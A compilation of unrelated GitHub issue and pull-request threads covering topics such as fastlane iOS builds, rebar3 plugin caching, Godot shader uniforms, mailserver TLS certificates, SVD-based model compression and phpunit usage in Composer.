 I want to build iOS project in Jenkins by using docker in fastlane code if it's possible can any one help.
thank you.....

@Aravindios fastlane will only be able to build an iOS app in an macOS environment. So if you docker container is using macOS then you should be able to do that. I don't know how much more I am able since this sounds like a pretty specific use case 😊

@Aravindios we also explored the possibilities of this. but stopped since it was not worth the effort.
If you want to explore on this, you may want to look at this
https://github.com/jkingyens/docker4xcode
It implements a REST API to simulate a docker server.


Old rebar3_lfe plugin reference

I created a new project with rebar3 new lfe-app lfebudget and the rebar3_lfe plugin is version 0.3.0. I got an undef error. I changed it to 0.4.8 and problem solved. I noticed the templates still contains 0.3.0.

Hrm. I've checked the rebar.config* here: https://github.com/lfe/rebar3/tree/release/0.4.x/priv/templates
It looks like they all have the correct versions.
There's some caching that rebar3 does on our systems, and perhaps you have an older version that's being used, instead of the latest from hex.pm/Github?
Try this, and then create another project -- hopefully you'll see the same versions that are in the repo:
rm -rf ~/.cache/rebar3/plugins/rebar3_lfe/

You should probably check to see if you have a ~/.config/rebar3/rebar.config file; one can pin dep/plugin versions there, too ... so versions should be checked there, too.

Just to be sure, I'll do the same at my end, and make sure the latest release on Hex.pm has the same version of templates that are in the repo ...

Yeah, just confirmed when rebar3_lfe isn't on the system locally (deleted from the cache), the latest version pulled down from hex.pm is rebar3_lfe v0.4.8, and after creating a new project (using the command as you did above), the correct version of the dep is present:
$ grep rebar3_lfe lfebudget/rebar.config

    {rebar3_lfe, "0.4.8"}

I'm going to be updating the LFE manual/book with upgrading instructions, since this particular issue gets people all the time.
In fact, it may be worth adding a command (e.g., rebar3 lfe upgrade) that does this for people ...

Thanks ! 👍


Enhancement of nav-bar

I want to work on nav bar enhancement as in more section... i want to add some  file which contain all the important DSA questions to practice as well.
@anubhavitis @malavikarajeshvikraman @harikesh409  assign this issue to me

Hi @ravikr126 The Homepage of the website has changed and worsen after merging of the pull request #98 for the issue #49 . So I have just created a page regarding dsapractice where all important questions are there along with the link of the problems. please merge it

Hi @ravikr126 The Homepage of the website has changed and worsen after merging of the pull request #98 for the issue #49 . So I have just created a page regarding dsapractice where all important questions are there along with the link of the problems. please merge it

The changes of #98 are reverted kindly pull the new code and check. @Snehakri022

Hii @Snehakri022 there is some improvement is required to code

HII, can i work on this issue? I can make some changes in the nav bar by adding js and css

hey im GGsoc21 participant
assign this pr to me
so i can work on it and add some page
that enhances the user to use more


Setting a new mesh to MeshInstance3D breaks shader instance uniforms

Godot version
v4.0.beta.custom_build [61021c08f]
System information
Fedora 36 KDE, RTX 3080
Issue description
Creating a MeshInstance3D, assigning a mesh and a material, and setting instance uniforms works as expected. However if the mesh is set again, the instance uniforms stop working until the scene is reloaded.
Does not seem to matter if the material is assigned to the Mesh material, MeshInstance3D material override or the GeometryInstance3D material override.
Steps to reproduce

Load reproduction project with node_3d.tscn
Change the MeshInstance3D's shader uniform "My Uniform" and verify that the shader material modifies the mesh.
Click the root Node3d and increase the "dummy" variable. This is a @tool script so this will trigger the test code that sets a new mesh on the MeshInstance3D node.
Observe that the mesh becomes flat, and the "My Uniform" no longer has any effect on the mesh.
Save the scene, close it, and open it again.
Observe that "My Uniform" works again.

Minimal reproduction project
SetUniformOverrideTest.zip

I tried fixing this myself, but I couldn't find the issue as I don't have enough knowledge about the inner workings of Godot rendering.

Looks like this may be the same issue: https://github.com/godotengine/godot/issues/58113 ?

Looks like the same! Did not find it when searching prior to opening a new issue.

Duplicate of https://github.com/godotengine/godot/issues/58113.


Gulp build using gulp-cdnizer

I've integrated gulp-cdnizer into the build process.  After wiredep has injected dependencies into the page, cdnizer will attempt to convert references to local files into CDN URLs.  I had to hack together a method so that useref will ignore these CDNized assets, and only concatenate vendor files which couldn't be CDNized (useref processing of app files unchanged).  It's not a pretty solution, but it ensures that all vendor assets still arrive at the user, one way or another.
Reduces the vendor js download size to ~4kb.
Closes #420

@agraubert thanks so much for this, it appears to reduce the locally served vendor scripts from 1.8MB to 4K! This will significantly reduce our bandwidth overhead, and will hopefully increase the perceived speed of the app since it will ideally be using locally-cached copies of these libs.
Everything looks OK on the build version. However, I noticed that the injected links in the build index.html don't have fallbacks, which I recall seeing earlier when I was experimenting with this library. You could specify a test in the config, for example 'window.angular' for the angular library. Then at runtime, after the CDN links load, CDNizer would look for the test reference and then if it's not found, drop in a script link to the local bower library. Could you check and see if it's doable to have those fallbacks in place with the current task?

The fallback scripts are definitely doable.  It's only showing angular tests, because that's one of the few libraries CDNize is preconfigured to test.  I'll add some tests for the others


custom setup of SSL using letsencrypt

Context

I have a email server that handles many domains, but only one SSL cert.
SMTP SSL main.sfq
TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
Dovecot SSL 10-ssl.conf
ssl_cert = </etc/dovecot/ssl/dovecot.pem
ssl_key = </etc/dovecot/ssl/dovecot.key
letsencrypt
/etc/letsencrypt/live/FQDN/***
docker .env
SSL_TYPE=letsencrypt

I want SSL for all my domains
Expected Behavior

docwcot and postfix both use letsencrypt
Actual Behavior

it uses the hard coded ssl
Possible Fix

there are two way to fix it,
1> change main.cf and 10-ssl.conf to point to /etc/letsencrypt
2> soft link the keys and certs to /etc/letsencrypt
I can do this manually, but if I have to spin up a new docker the fix is gone.
Steps to Reproduce

run the docker using docker compose
2.use certbot to install letsencrypt certs on host

Your Environment

Amount of RAM available:
Mailserver version used:
Docker version used:
Environment settings relevant to the config:
Any relevant stack traces ("Full trace" preferred):

I'm not using letsencrypt myself, but many others are and it is fairly well documented in the wiki. Have you tried to follow one of the working setups?
One gotcha is that the TLS certificate is for the mail server host, not for the mail domains. It is quite possible and very common to have a single server, mail.example.com, that serves multiple domains, domain1.com, domain2.com and so on. Then all those domains have mail.example.com as their MX record in the DNS and you only need a single TLS certificate for mail.example.com to handle all domains.
 It runs when the container starts, so that way your custom code will run automatically when the container is created. Check the wiki first though!

Thanks for the info, I want to look bigger than I am. Each has its shared ssl key. I get it from multi webpages from one server.  I guess my question is how do you import existing keys.
The config/user-patches.sh is the way I will go.


Revert generated types to being concrete

Currently all generated types are templated, allowing identifier to be specified as a template parameter. This unfortunately causes long compilation times, confusing typenames and awkward syntax. By moving more code to generated stage rather than templates we can maintain run-time performance whilst improving compile speeds and usability.

Done in https://github.com/Samuel-Tyler/fast_ber/pull/31

Done in https://github.com/Samuel-Tyler/fast_ber/pull/31


Complexity filtering for Nanopore data

Description of feature
Feature
We need to add an optional complexity filtering step for Nanopore data:
What needs to be done:
Investigate the available tools for Nanopore and implement/add it to nf-core/taxprofiler
This can be closed when:

[ ] The available tools (filtlong, nanofilt etc) have been investigated
[ ] Implementation of one of those has been merged to nf-core/taxprofiler

https://github.com/nf-core/taxprofiler/issues/69


nz-resizable 和table column sort功能，会存在同时触发，希望单独影响

Reproduction link
https://stackblitz.com/edit/angular-rncvrd?file=src/app/app.component.ts
Steps to reproduce
table column，拖动resize-handle，使列宽度减少，就会同时触发列排序功能
What is expected?
希望改变列宽度，不影响列排序功能
What is actually happening?
减小列宽度，同时影响列排序功能

Environment
Info

ng-zorro-antd
9.1.0

Browser
chrome 81.0.4044.129

Im having this same issue. Any fix I can do on my end in the meantime?

@billpeace found a simple solution. Posted it on StackOverflow

thanks for the link @exenestecnico
closing


Instance-level configuration

I think it would be great to have instance specific configuration that takes precedence over the class-level configuration.
Example:
MyGem.new do |config|
  config.foo = 'bar'
end

Does this make sense? I find it useful when multiple configurations are needed or even for testing purposes.

Interesting - could you elaborate on the use case a little bit more, specifically how this would be different from instantiating classes in your gem with parameters? e.g. :
MyGem.new(foo: 'bar')

I could definitely do what you said, and simply pass the configuration in on MyGem initialization, but I was thinking it would be cool to have the same facilities and interface you created for the class-level configuration. One clear advantage is that it would be possible to take advantage of the restricted configuration options, for example.

Agreed! Your method is amazing, and I would really love to use it when instantiating objects.
i.e. This:
obj = MyClass.new do |c|
  c.conf1 = 'abc'
  c.param2 = [1, 2, 3]
end

looks better to me than this:
obj = MyClass.new('abc', [1,2,3])

Anyway, Kudos for the project!


Update sys-dm-hadr-availability-group-states-transact-sql.md

In "Not the primary replica OR unable to communicate with the WSFC failover cluster." the "OR" means if either condition is true. So when it's not the primary replica, I would expect to see NULL, However, I'm seeing the primary replica name when selecting the column on the secondary replica. In this case, since it can communicate with the WSFC, it must be getting the primary replica name from the cluster. Therefore I believe it's NULL when 1) it's not the primary replica AND 2) it can't get the primary replica name from the WSFC failover cluster because it's unable to communicate with it.

Thanks @Rob-S for contacting Microsoft with feedback about our product documentation. Depending on the complexity, it could take from a few business days to a few weeks to look further into your question, issue, or suggestion. We'll contact you if we need further information, and you'll receive an email message each time we "@mention" you in a comment.
Allow a day or more for the article's author to review and approve your change or offer an alternative solution.
By opening a pull request, you're helping the author add your approved change directly to the documentation. After the updated article is published, GitHub lists you as an article contributor.
Thanks again for submitting your feedback. Your suggestions help improve our documentation.

#sign-off

@cawrites: I'm sorry - only the author of this article, @WilliamDAssafMSFT, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.

#sign-off


[Scene] - Ambient Lighting

The game view should have ambient lighting and switch to day and night modes.

Ambient lighting is working beautifully.


Fix a bug in the HoodieBaseListData.isEmpty() empty-check logic

Change Logs
There is an obvious logical error in HoodieBaseListData.isEmpty(). When the internal data structure is Stream, there is a logical error in determining whether it is empty.
Impact
none
Risk level (write none, low medium or high below)
none
Documentation Update
none
Contributor's checklist

[1] Read through contributor's guide
[1] Change Logs and Impact were stated clearly
[1] Adequate tests were added if applicable
[1] CI passed

@yihua bro, please help me take a look

@yihua bro, please review the code

@yihua   bro, please review the code. correspond issue:

@yihua  bro, please review the code.
correspond issue: https://issues.apache.org/jira/browse/HUDI-7433

@danny0405
@yihua
Bro, I made the following changes:

use assertTrue() and assertFalse() to replace assert
squash commits
Optimize commit log message (message adds issue id and pr id)


Syntax proposal: a~foo for |*(_[b=+<:foo c=+<:a:foo] (~(a foo b) c))

My crusade against parens continues: (gas~in a b) is much cleaner than (~(gas in a) b), not speaking of :(uni~by a b c d) or (roll (list (set))foo int~in)
The expansion could be better, but the purpose is hopefully clear.

I kinda wish we had a better syntax for ~(. a b), actually

In what context, vang? I suppose (put:in~a b) would also be compact, but
it's less readable and doesn't have the same "a method call is just a
function whose first argument is Self" reduction.
On Monday, 22 February 2016, Raymond Pasco<EMAIL_ADDRESS>wrote:

I kinda wish we had a better syntax for ~(. a b), actually
—
Reply to this email directly or view it on GitHub
https://github.com/urbit/arvo/issues/16#issuecomment-187240758.

Closing this one as it hasn't attracted any attention in over three years and I don't see it going anywhere as-is.
Just for the sake of tangential and (hopefully) interesting meta-level conversation: I think a proposal like this is best made via a PR with an implementation attached, e.g. #1190, which can then be evaluated immediately in terms of merging or not merging the thing, instead of deciding "should we do this thing or should we not do this thing."
Making proposals in issues (like this one) or via mailing list discussions is also great and perfectly acceptable, of course.  That's the superior route for larger/more contentious changes that can't necessarily just be whipped up and proposed in a PR.


Fix chatgpt

Close: https://github.com/sunner/ChatALL/issues/764
Refer to https://github.com/sunner/ChatALL/issues/764#issuecomment-2016916137
3.5 tested
4.0 NOT tested as no subscription

Thanks!
Can we merge it and release soon?

Thank you for the contribution, but it does not work (both 3.5 and 4.0) on my side.
ChatGPT changed to wss:// protocol to transfer response several weeks ago.

Thank you for the contribution, but it does not work (both 3.5 and 4.0) on my side.
ChatGPT changed to wss:// protocol to transfer response several weeks ago.

from my side, chatgpt is still using event stream

My ChatGPT rollbacked to event-stream. Maybe the wss:// is just a test.
But still the PR doesn't work. The following pic is the response data through event-stream.

Have you ever met this?

My ChatGPT rollbacked to event-stream. Maybe the wss:// is just a test.
But still the PR doesn't work. The following pic is the response data through event-stream.
Have you ever met this?

no, these changes still working on my side

Let's merge it and see what's happened for others. Thank you.

I confirm that in my Windows 11 x64 OS ChatGPT run correctly.
Very Thanks you for your works and your software 👍


enable observability related flags on osm install within manual demo

so that folks don't get an error when playing with osm dashboard

related issue to avoid confusing documentation: https://github.com/openservicemesh/osm/issues/1893

Fixed by #1868


Added chat completion requests missing  parameter.

Resolves #118.

Also fixes https://github.com/openai/openai-node/issues/508


Allow authentication mechanism clientcert to provide role as well

We are running ES with SG in a highly dynamic environment (kubernetes), where we cannot predict CN for all client certificates (think log shippers and dashboards), but we would still like to be able to trace audit logs to a single instance.
We would like to be able to assign group through the clientcert provider, by designating one of the DN fields for backend role, such as O or OU.

With "group" i assume you mean "role"?
Can you provide an example or maybe even a PR?

Correct, I mean role. :)
An example would be, as for the proxy_auth mechanism,
clientcert_auth_domain:
  http_enabled: true
  transport_enabled: true
  order: 1
  http_authenticator:
    type: clientcert
    config:
      username_attribute: cn
      roles_attribute: ou  # role binding, ou can be defined multiple times
    challenge: false
    authentication_backend:
      type: noop

Will submit a PR on something I cobbled together.

Will be released with the next 5.6.x and 6.x release

Released with SG v17 (For 5.6.x)


How do I implement savestate and a expand/collapse all button?

Hi there - thanks for this treegrid! As a JS beginner I have a few basic issues with adapting the tree to my needs.
Firstly, I like to know how I can trigger $('#tree').treegrid('expandAll'); with a button or a checkbox for example. Can somebody help?
Secondly, savestate is not working if applied as shown in the savestate example. initialState works however, but if I insert the savestate : true line, all the node arrows disappear, so there must be some issue here.
Thanks for help! Frank

Try (example):
HTML (you can use a button element as well):
Expand all
jQuery:
$('a#pagetree-expand-all').on('click',function(e) {
$('.treetable').treegrid('expandAll');
});
Make sure the ID is unique!

Thank you for this example, webbird :-) In the meantime maxazan helped me with my problem. "expand all" didn't work on my site as it had some html errors - after removing some redundant span tags it worked.
savestate didn't work even though implemented as shown in the example - after adding the jquery.cookie.js reference it worked right away :-)
Hope this helps also other users. Regards, Frank


Makefile: initial version of makefile, replace GH action

Implementing make test to be able to run the tests locally
and implements make gh-action-test to run github action "unit-tests-fedora" locally
Also changes the github action to just use the implementation in Makefile

A note on

and have it fail on systems that don't have dependencies.

and

TBD implement checking/installing prerequisites and running the tests without a container

Apologies if I'm making assumptions about the plan for the test Makefile target.
I get the appeal of being able to git clone the repo, run make test and have all the tests run as if by magic without needing to install dependencies and stuff.  But if this is where this is going, if the plan for a future make test is to have it install required dependencies on the developer's system, I have to question the utility of it all.
First of all, there's no scenario where we don't assume some prerequisites for users.  Does the container target install podman for the user as well?  Are we going to assume what distro they're running or have package lists for all major distributions?  Are we making it rpm only?  What about Fedora vs CentOS/RHEL (no btrfs driver).
Also, any check for dependencies will either need to check that they're installed, or run a no-op script that tries to install them every time make test is called, or maybe write a file in the repo like the container info one.  It seems like a lot of steps to avoid having to tell people "if you're going to compile this thing, you're going to need these packages", which is something that happens once per contributor/machine.
I don't think listing dependencies in the README and asking people who clone the repository to install some packages themselves is too much.  I get that a lot of things in this repository are a little hostile to newcomers, but I doubt build dependency installation is one of them.

@achilleas-k you are right, although I like Makefiles that try to care about prerequisites as much as possible reducing the need to update ( / duplicate code in…) READMEs and keeping "infrastructure" or "install instructions" as code.
Similar to a README where also only rpm package names are mentioned (now), this is up to future contributors to just add the section/implementation for other distros.
But sure, this can get out of hands quickly. I'll just update the README.md now (as it's out of date already a while ago)
and finish this PR

But sure, this can get out of hands quickly. I'll just update the README.md now (as it's out of date already a while ago)
and finish this PR

What's outdated in the README?  The "out of date" link opens an old commit for tests.yaml.
Which brings me to #959 and something I realised while writing that.
The github action is actually outdated.  The krb5-devel package isn't needed for unit tests.  It's needed by the koji uploader, but we don't test that (which is the actual problem, I guess).
The issue of "where should uploaders live" (images or osbuild-composer) is a long-standing question we haven't entirely figured out yet, so I wont go into it here.  But as it stands, right now, krb5-devel isn't a build nor a test dependency of osbuild/images.  It's a build dependency of any project that imports pkg/upload/koji.

Besides for the action not working, this PR now looks good to me. :+1:

Should we use the make gh-action-test target for the CentOS Stream tests as well?
I'll check the implications and do a followup-PR

… rebased to main, lost approvals … :-/


menu fix for base_url

As written, adding a base_url breaks the menu system. Here is a patch.

Hi,
Thank you for the fix :) I'm testing it at the moment. Everything I try is working, so I'll merge it in. The only thing I would prefer is that the default base_url is /, not some other path. That way when a beginner types hyde serve everything works out of the box. I'll leave your part of the configuration commented out with an explanation.

Sounds good. I agree that the default base_url should be /, (I just left it in to demonstrate).


Spectrum attribute names should be lowercase (and shorter)

PEP 8: Instance variables (attributes) should be lower-case, upper-case is reserved for classes.
https://github.com/bcarry/ska/blob/1257a666b56db4cfc9205dbe2931dce90327d53e/ska/spectrum.py#L17-L19
And I suggest to shorten them (or to at least accept shortened versions) for the sake of humanity.
self.Wavelength -> self.wavelength / self.wave
self.Reflectance -> self.reflectance / self.refl
self.Flux -> self.flux

And since self.Relfectance is a flag rather than a data array, I suggest self.is_refl or self.is_reflectance instead.

Good point. API modified in version 2.0 released today


Domain activation is Failed - [BRIEF DESCRIPTION]

App Id: di50d4y6j7wb5
Region: us-west-2
Step: Domain activation
Status: Failed

Note: Do not include information that is sensitive in nature such as your domain name, company etc.

Issue/question
A clear and concise description of what the issue/question is.
Error message
If there is an error message, please include it here.
Note: Be sure to check the message for sensitive information.
Additional information
Please add any other relevant information. Please feel free to include screenshots.

Hi @nellyans  Did you have this domain attached to another amplify app or directly to CloudFront? If so, you would have to remove it from the CloudFront distribution via the CloudFront Console. Then you can delete and re-add the domain to your app.

Issue solved! Removed my domain from Amplify and reconnected it. Thanks.


Feat/preconditions

Coverage decreased (-3.6%) to 77.515% when pulling 77deb65cb2960ad00c1279bd74ee0a7f237205e8 on feat/preconditions into d718df130d188e919729b7bbd8f4c124d1544611 on master.

Coverage decreased (-2.8%) to 78.359% when pulling 77deb65cb2960ad00c1279bd74ee0a7f237205e8 on feat/preconditions into d718df130d188e919729b7bbd8f4c124d1544611 on master.


chrono fields in bigquery Dataset must be parsed from a string

Dataset resource has defaultTableExpirationMs , defaultPartitionExpirationMs, creationTime, lastModifiedTime and maxTimeTravelHours as string, but the code parses them as int64.

There are still some code review comments I am addressing so reopening this.


x/tools/gopls: references query on T in struct { p.T } returns references to p

With gopls@latest, a references query on the name of an embedded type in a struct field instead reports references to the package name.
type S struct {
    s fmt.Stringer
    fmt.Stringer // references on Stringer here returns references to fmt
}

References to all the other identifiers in the above example work correctly.

Root cause is https://github.com/golang/go/issues/60372.


Added support for NfcAdapter.enableReaderMode

enableForegroundDispatch listens for all types of tag events and doesn't work well for my use-cases. With this you can now fine-tune the types of tags and NFC actions the reader listens to.

I don't know Objective-C and didn't test the changes there. It would be great if someone could compile/test this.

It looks pretty good to me, thanks!


can't connect android studio 2.3

can't connect android studio 2.3
always give the error please connect with the same network.
I already connected with the same network

+1

+1

+1

+1

Hi @tank777 can you review the log traces or debug your plugin installation? I can't reproduce this bug manually in my Android Studio installation.

I also need some extra info:

What's the Android Studio version you are using now?
What's the plugin version you are using?
What was the last Android Studio version you got the plugin working properly?

I was having the same issue, and after I exit emulator I was able to connect again.

@kristijandraca
your suggestion is pretty useful,thanks!

@kristijandraca
your suggestion is pretty useful,thanks!


UTL is a private repo?

Code won't clone as a result.  Cheers :)
➜  lib (main) git submodule init
Submodule 'lib/utl' (https://github.com/nth-eye/utl) registered for path 'utl'
➜  lib (main) gsu
Cloning into '/Users/jim/tmp/qr/lib/utl'...
Username for 'https://github.com':```

Oh, thank you for noticing. Yeah, some time ago I deleted the repository and moved its functions into another one. I will copy those functions into this repo and remove submodule dependency completely to avoid such issues in the future.


Provide Free API for Demo Purpose

Provide free API which returns the sample data. Provide documentation for the Free API.

Hey @therohanparmar
Please check this PR: https://github.com/therohanparmar/quick-helper-chrome-ext/pull/9
Thanks!


Can peft support singular value decomposition?

Hi, I am new to peft. I am wondering whether the peft supports use singular value decomposition to replace the orignal linear module. I find this is similar to the funciton of lora, but different at the loar_A and lora_B are decomposition of the original weights.
If this does not support, is there any advice to implement such functionality?

As you mention, this is related to the idea of LoRA, but I'm not aware of any fine-tuning technique that consists of decomposing the original weight. Intuitively, this would lead to a big loss in model performance. If there are any papers that show that this works for fine-tuning, please post them.

It's just one attempt, and I've observed that directly decomposing the trained weights results in a significant loss. I am interested in exploring whether such a loss can be rectified through fine-tuning.

Hello @hobbitlzy,
Please see this paper https://arxiv.org/pdf/2209.05310v1.pdf wherein one can convert the existing linear layers into low rank matrices by doing SVD decomposition. This paper does it (section 3.1 on Bottlenecks), result of it: reduced time per training step by 7% without impacting accuracy

The lightweight maybe the literal light weight Xd, like Albert embedding. No reduction in computational effort but save a little memory. And if it is a feasible solution, I think Albert won't just factorizate the embedding.

Instead, I am curious about if SVD can be applied to a pre-trained model in a way that enables lightweight fine-tuning to compensate for any performance degradation.

To be clear, do you suggest that a pretrained model is taken, its big weight matrices decomposed using SVD, then LoRA is added on top to compensate for the error introduced by the decomposition? Intuitively, I would imagine that this is not too efficient, since LoRA is also a kind of decomposition, so I believe adding it would just have a very similar effect as increasing the rank of the SVD.

Instead, I am curious about if SVD can be applied to a pre-trained model in a way that enables lightweight fine-tuning to compensate for any performance degradation.

This is unclear to me. Can you clarify this further in terms of pseudocode that you have in mind?

My understanding is that this idea is similar to LoftQ, where the LoRA weights are used to compensate for errors introduced by quantization, here it could be used to compensate for the error from factorizing the matrix. But I think it makes less sense here, since the two operations (SVD and LoRA) are so similar that the latter cannot really compensate for the former.

Apologies for the lack of clarity earlier. Actually, my objective is to apply SVD to compress a pre-trained model, followed by a fine-tuning process to restore its accuracy. This fine-tuning could be conventional or could utilize LoRA. The term 'lightweight' was used in comparison to certain methods that use SVD to train a model from scratch.
Furthermore, I agree that incorporating LoRA into this fine-tuning phase makes less sense, as it is equivalent to choosing a higher SVD rank.

@hobbitlzy hi, I'm confused what's the purpose to factorize the  parameters matrix. Just for less storage on disk ? it won't be save more gpu memory and won't be faster than lora and other peft.

@EeyoreLee  Hi, the target scenario for me is privacy-preserving machine learning and it indeed has improvements on both memory and computation.

@hobbitlzy - it indeed save mermory only on inference and it won't save computation on both training and inference.  For model training step, the memory is cost on optim, parameters, gradient and activation value. Especially those optimizers that use both first-order and second-order momentum like Adam.
Let’s first discuss memory overhead. Although the rank matrix factorizing reduce memory consumption on parameters, it will bring more gradients and corresponding optimizer consumption than LoRA since LoRA only need gradient and its corresponding optimizer parameters for A matrix and B matrix
Second for computation, if the origin computation is matrix A(m x n) dot matrix B(n x q) and we SVD B to XYZ which X(n x p), Y(p x r), Z(r x q), the compustation is changed from O(mnq) to O(mnp)+O(mpr)+O(mrq). Unless the p and r is much smaller than n and q, it even bring more computation. And to maintain as much accuracy as possible, the p and r is impossible to small enough.

Thanks for the patient explanation. I understand your point except a slight disagreement for the computation overhead at the inference stage.

Second for computation, if the origin computation is matrix A(m x n) dot matrix B(n x q) and we SVD B to XYZ which X(n x p), Y(p x r), Z(r x q), the compustation is changed from O(mnq) to O(mnp)+O(mpr)+O(mrq). Unless the p and r is much smaller than n and q, it even bring more computation. And to maintain as much accuracy as possible, the p and r is impossible to small enough.

In my understanding, the B is decomposed as XYZ, where Y is a diagnal matrix and we only keep the top r values. After tha Y is absorbed into either X or Y. Then B(n x q) is trasnformed as X(n x r) and Y(r x q). THe computation is changed from O(mnq) to O(mnr)+O(mrq). If r is small, it indeeds reduce the comptuation complexity.

@hobbitlzy - It's my turn to say apologize for thinking too decisively lol. you're right that seems if r smaller than half of n or q, the comptuation complexity is indeed smaller in big O notation, only may need little extra time cost on transfering value from memory to register. Looks like a feasible solution. The most important thing should verify is whether it can hold the accuracy and get a small enough r at a time.

@EeyoreLee Glad to reach the agreement. The concern in my scenario is the computation overhead at the runtime (although can be quite difference in the private computation). But I do not find any related codes yet and this may be implemented myself.

This method could be interesting to investigate in this context: https://github.com/pratyushasharma/laser


Add line numbers

What?
Line numbers inside the code blocks
Why?
There's a significant correlation between the number of lines of code and the number of bugs in software. Therefore it would be very useful if we could see the line numbers in the code blocks, to see which frameworks are the least verbose, and therefore easiest to prevent future bugs.

Would also be nice if we could see the total line number for all files in a way

If we do that, there will be a war with format/linting config to have their favorite framework having the less nb of lines as possible. For example, people will abuse using ternary syntax to optimize nb of lines. Component Party will be harder to maintain for no reason.
Actually a simple and understandable code is more important than the numbers of line. Number of lines is actually not that important.
Please, let's focus on more important things like: having understandable examples, good variable names, etc...


Code Review

This is a fake PR to make it easier for me to do https://github.com/ISISComputingGroup/IBEX/issues/6013 and review the code.
Please create a new branch that fixes these issues and make a new PR merging that into master, you can then delete this branch and PR. For future code it's best to make a branch for the work you are doing rather than commiting straight to master.

PR to merge all changes (MUST, SHOULD & NIT): https://github.com/ISISNeutronMuon/HLM_PV_Import/pull/14


Add missing fields to parameter object

OpenAPI parameter object has some fields which we currently don't support. Let's add the missing fields to Parameter struct. The missing fields are all Optional and are mostly simple types (exception being default field, which should be serde_json::Value).

I'm incredibly new to Rust but I'd like to have a go at this issue please.

Definitely! Feel free to ask any questions!

Okay, so the build is passing now. Can you confirm you're happy with the extra changes I've made?
I'm not certain how to squash my commits...I will look into that.


As an operator, I want to list workflows and filter them on various criteria

Filters include (combinations allowed):

list jobs with filter: Workflow name
list jobs with filter: label
list jobs with filter: submitter
list jobs with filter: an updates within timerange (Start/stop)
list jobs by parent job ID

this means... Jobs ? (WPS)
vs. listing the Workflows themselves (App Catalog/Dockstore)

More detail captured in the work ticket: https://github.com/unity-sds/unity-jobs-ui/issues/4

we can filter client-side right now, with anything that WPS-T gives us


Add CONTRIBUTE.md

Looks like there's trouble with yarn on Travis. I'll take a peek to see what's up.

LGTM

LGTM too, just curious about Travis failing. I'll try to look at it tonight.
On Mon, May 15, 2017 at 8:35 AM Kyle Welch<EMAIL_ADDRESS>wrote:

LGTM
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/coryhouse/react-slingshot/pull/431#issuecomment-301461628,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAy2z1eSluusUOW4a6Im7Rd9EpiIlpJwks5r6EadgaJpZM4Nae4R
.

Looks to be related to #412, I cannot run yarn locally.

Weird, I was able to install locally last week. I'll reopen #412. We're OK
to merge this @coryhouse.
On Mon, May 15, 2017 at 8:44 AM Kyle Welch<EMAIL_ADDRESS>wrote:

Looks to be related to #412
https://github.com/coryhouse/react-slingshot/issues/412, I cannot run
yarn locally.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/coryhouse/react-slingshot/pull/431#issuecomment-301463526,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAy2zzC0GMmjEmgeKFqZQEoJSL3YTDMpks5r6EiVgaJpZM4Nae4R
.

I was able to fix the build with a yarn upgrade it updated the yarn lock and all appears to be good.

Changes Unknown when pulling 7617c18cc5f706077c202e168eff6e0be40ecc41 on contribute into ** on master**.

I am going to move my yarn.lock update into master that way it is not part of this change.

Coverage remained the same at 95.283% when pulling 7fda6023fcb28f39a366453c6c980351f5cf31dd on contribute into f4bee48ad7f9769d880d5f1c58378100798feae2 on master.

@coryhouse, can you rebase? I'll merge after that's done. I'll also update the issue template in another PR to mention to read the contributing.md unless you want to add it yourself in this PR.

One thing @kentcdodds added to glamorous recently was a checklist to the PR template.
I really like that idea, we should follow suit.
Here is a link to a PR that uses it:
https://github.com/paypal/glamorous/pull/117#issue-230045188

For what it's worth, most projects I've seen call this file CONTRIBUTING.md rather than CONTRIBUTE.md

That's my bad. Thanks for the correction @kentcdodds. @coryhouse, can you rename the file in your PR along with the rebase?


B 18490 update mto v2 final destination sit

Integration PR

Any known reason for the discrepancies in code changes between your integrationTesting branch and this one?

Any known reason for the discrepancies in code changes between your integrationTesting branch and this one?

Probably that homesafe prd ssl commit that likely came through on grabbing the latest from main and getting that into integration. I see the same commits + commit hashes for Cameron's work so I am approving

Any known reason for the discrepancies in code changes between your integrationTesting branch and this one?

Probably that homesafe prd ssl commit that likely came through on grabbing the latest from main and getting that into integration. I see the same commits + commit hashes for Cameron's work so I am approving

Noice catch


Question: phpunit or vendor/bin/phpunit?

I was wondering what the rational was behind using phpunit instead of vendor/bin/phpunit.
This seems weird to me, especially since PHPUnit is included as a Composer development dependency but may not be available globally.

Hi, this is closely related to #7.
I think the only reason that we simply say phpunit at this point is because many people have vendor/bin in their PATH, so phpunit works anyway. However, it's a valid point. I'm personally not a fan of having PHPUnit installed globally.

Just a side note:
  "scripts": {
    "test": "vendor/bin/phpunit"
  }

Would not work for Windows users.
But it is not necessary anyway.
The Composer docs state:

Note: Composer's bin-dir is pushed on top of the PATH so that binaries of dependencies are easily accessible as CLI commands when writing scripts.

https://getcomposer.org/doc/articles/scripts.md#writing-custom-commands
I've tested it on my Windows machine. Due to legacy support I still have PHPUnit 3.7.38 installed globally, but in the project I've tested this with I have a locked version  4.6.6.
Calling composer test shows me that the locked version and thus the one in veondor/bin/ is executed:
PHPUnit 4.6.6 by Sebastian Bergmann and contributors.
So I guess that answers this question :smirk_cat:

Thanks for the reply, composer test seems to be the way forward. Question is indeed answered :smile_cat:


Skip using gateways with hostnames in split horizon

In AWS, load balancer services get hostnames instead of IPs.
Resolving these hostnames to IPs in Pilot is incorrect as these resolutions
are transient and could lead to incorrect routing. We are better off
skipping these gateways for split horizon until we figure out a way to
ship aggregate cluster that contains the dns hostnames.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

@rshriram: once the present PR merges, I will cherry-pick it on top of release-1.6 in a new PR and assign it to you.

In response to this:

/cherrypick release-1.6

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/cherrypick release-1.6

@rshriram: #24352 failed to apply on top of branch "release-1.6":
error: Failed to merge in the changes.
Using index info to reconstruct a base tree...
M	pilot/pkg/proxy/envoy/v2/ep_filters.go
